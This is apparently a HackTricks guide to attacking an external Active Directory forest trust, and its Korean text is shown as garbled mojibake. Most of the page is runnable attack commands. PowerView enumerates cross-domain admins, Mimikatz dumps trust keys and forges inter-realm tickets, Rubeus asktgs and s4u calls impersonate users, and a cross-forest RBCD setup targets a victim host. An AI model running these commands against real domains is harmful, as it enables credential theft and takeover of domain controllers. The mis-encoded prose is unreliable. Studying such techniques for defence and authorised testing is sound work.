์™ธ๋ถ€ ํฌ๋ฆฌ์ŠคํŠธ ๋„๋ฉ”์ธ - OneWay (Inbound) ๋˜๋Š” ์–‘๋ฐฉํ–ฅ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์™ธ๋ถ€ ๋„๋ฉ”์ธ์ด ๋‹น์‹ ์„ ์‹ ๋ขฐ(๋˜๋Š” ์–‘์ชฝ์ด ์„œ๋กœ๋ฅผ ์‹ ๋ขฐ)ํ•˜๊ณ  ์žˆ์–ด, ํ•ด๋‹น ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ์–ด๋–ค ํ˜•ํƒœ์˜ ์ ‘๊ทผ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ด๊ฑฐ

๋ฌด์—‡๋ณด๋‹ค ๋จผ์ €, **trust(์‹ ๋ขฐ)**๋ฅผ ์—ด๊ฑฐ(enumerate) ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

# Additional trust hygiene checks (AD RSAT / AD module)
Get-ADTrust -Identity domain.external -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive

SelectiveAuthentication/SIDFiltering*์„(๋ฅผ) ํ†ตํ•ด cross-forest abuse paths (RBCD, SIDHistory)๊ฐ€ ์ถ”๊ฐ€ ์ „์ œ์กฐ๊ฑด ์—†์ด ์ž‘๋™ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š”์ง€ ๋น ๋ฅด๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ „ enumeration์—์„œ ์‚ฌ์šฉ์ž **crossuser**๊ฐ€ External Admins ๊ทธ๋ฃน์— ์†ํ•ด ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ๊ทธ๋ฃน์ด ์™ธ๋ถ€ ๋„๋ฉ”์ธ์˜ DC ๋‚ด๋ถ€์—์„œ Admin access ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

์ดˆ๊ธฐ ์ ‘๊ทผ

๋งŒ์•ฝ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์—์„œ ์‚ฌ์šฉ์ž์—๊ฒŒ ์–ด๋–ค ํŠน๋ณ„ํ•œ ์•ก์„ธ์Šค๋„ ์ฐพ์ง€ ๋ชปํ–ˆ๋‹ค๋ฉด, AD Methodology๋กœ ๋Œ์•„๊ฐ€ privesc from an unprivileged user(์˜ˆ: kerberoasting ๋“ฑ)์„ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋‹ค์Œ๊ณผ ๊ฐ™์ด -Domain ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Powerview functions๋กœ ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์„ enumerateํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

Active Directory Methodology

์‚ฌ์นญ

๋กœ๊ทธ์ธ

์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด ๋‹ค์Œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

SID History ์•…์šฉ

๋˜ํ•œ SID History๋ฅผ ํฌ๋ฆฌ์ŠคํŠธ ํŠธ๋Ÿฌ์ŠคํŠธ ์ „๋ฐ˜์—์„œ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ํ•œ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ ๋‹ค๋ฅธ ํฌ๋ฆฌ์ŠคํŠธ๋กœ ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜๋˜๊ณ  SID Filtering์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด, ๋‹ค๋ฅธ ํฌ๋ฆฌ์ŠคํŠธ์˜ SID๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฉฐ, ์ด SID๋Š” ํŠธ๋Ÿฌ์ŠคํŠธ๋ฅผ ํ†ตํ•ด ์ธ์ฆํ•  ๋•Œ ์‚ฌ์šฉ์ž์˜ ํ† ํฐ์— ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.

Warning

์ฐธ๊ณ ๋กœ, ์„œ๋ช… ํ‚ค๋Š” ๋‹ค์Œ์œผ๋กœ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

ํ˜„์žฌ ๋„๋ฉ”์ธ์˜ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜๋Š” TGT์— ๋Œ€ํ•ด trusted ํ‚ค๋กœ ์„œ๋ช…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

์‚ฌ์šฉ์ž๋ฅผ ์™„์ „ํžˆ ๊ฐ€์žฅํ•˜๋Š” ๋ฐฉ๋ฒ•

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

์‹ ๋ขฐ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ ์ปดํ“จํ„ฐ ๊ณ„์ •์„ ์ œ์–ดํ•  ๋•Œ์˜ Cross-forest RBCD (no SID filtering / selective auth)

๋งŒ์•ฝ ์™ธ๋ถ€ ํ”„๋ฆฐ์‹œํŽ„(FSP)์ด ์‹ ๋ขฐ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ ์ปดํ“จํ„ฐ ๊ฐ์ฒด๋ฅผ ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ทธ๋ฃน(์˜ˆ: Account Operators, custom provisioning group)์— ์†ํ•˜๊ฒŒ ๋˜๋ฉด, ํ•ด๋‹น ํฌ๋ฆฌ์ŠคํŠธ์˜ ๋Œ€์ƒ ํ˜ธ์ŠคํŠธ์— Resource-Based Constrained Delegation์„ ๊ตฌ์„ฑํ•˜์—ฌ ๊ทธ๊ณณ์˜ ์–ด๋–ค ์‚ฌ์šฉ์ž๋“  ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# 1) From the trusted domain, create or compromise a machine account (MYLAB$) you control
# 2) In the trusting forest (domain.external), set msDS-AllowedToAct on the target host for that account
Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount MYLAB$
# or with PowerView
Set-DomainObject victim-host$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sidbytes_of_MYLAB}

# 3) Use the inter-forest TGT to perform S4U to victim-host$ and get a CIFS ticket as DA of the trusting forest
Rubeus.exe s4u /ticket:interrealm_tgt.kirbi /impersonate:EXTERNAL\Administrator /target:victim-host.domain.external /protocol:rpc

์ด ๋ฐฉ๋ฒ•์€ SelectiveAuthentication is disabled ์ƒํƒœ์ด๊ณ  SID filtering์ด ์ œ์–ดํ•˜๋Š” SID๋ฅผ ์ œ๊ฑฐํ•˜์ง€ ์•Š์„ ๋•Œ๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” SIDHistory ์œ„์กฐ๋ฅผ ํ”ผํ•˜๋Š” ๋น ๋ฅธ ์ˆ˜ํ‰ ์ด๋™ ๊ฒฝ๋กœ์ด๋ฉฐ, ํŠธ๋Ÿฌ์ŠคํŠธ ๊ฒ€ํ† ์—์„œ ์ข…์ข… ๋†“์นฉ๋‹ˆ๋‹ค.

PAC ๊ฒ€์ฆ ๊ฐ•ํ™”

PAC ์„œ๋ช… ๊ฒ€์ฆ ์—…๋ฐ์ดํŠธ(CVE-2024-26248/CVE-2024-29056)๋Š” ํฌ๋ฆฌ์ŠคํŠธ ๊ฐ„ ํ‹ฐ์ผ“์— ๋Œ€ํ•œ ์„œ๋ช… ๊ฐ•์ œ๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. Compatibility mode์—์„œ๋Š” ์œ„์กฐ๋œ inter-realm PAC/SIDHistory/S4U ๊ฒฝ๋กœ๊ฐ€ ํŒจ์น˜๋˜์ง€ ์•Š์€ DCs์—์„œ ์—ฌ์ „ํžˆ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Enforcement mode์—์„œ๋Š” ์„œ๋ช…๋˜์ง€ ์•Š์•˜๊ฑฐ๋‚˜ ๋ณ€์กฐ๋œ PAC ๋ฐ์ดํ„ฐ๊ฐ€ ํฌ๋ฆฌ์ŠคํŠธ ํŠธ๋Ÿฌ์ŠคํŠธ๋ฅผ ๋„˜๋‚˜๋“ค ๊ฒฝ์šฐ ๊ฑฐ๋ถ€๋˜๋ฉฐ, ๋Œ€์ƒ ํฌ๋ฆฌ์ŠคํŠธ ํŠธ๋Ÿฌ์ŠคํŠธ ํ‚ค๋ฅผ ๋ณด์œ ํ•œ ๊ฒฝ์šฐ์—๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์˜ค๋ฒ„๋ผ์ด๋“œ(PacSignatureValidationLevel, CrossDomainFilteringLevel)๋Š” ํ•ด๋‹น ์„ค์ •์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋™์•ˆ ์ด๋ฅผ ์•ฝํ™”์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ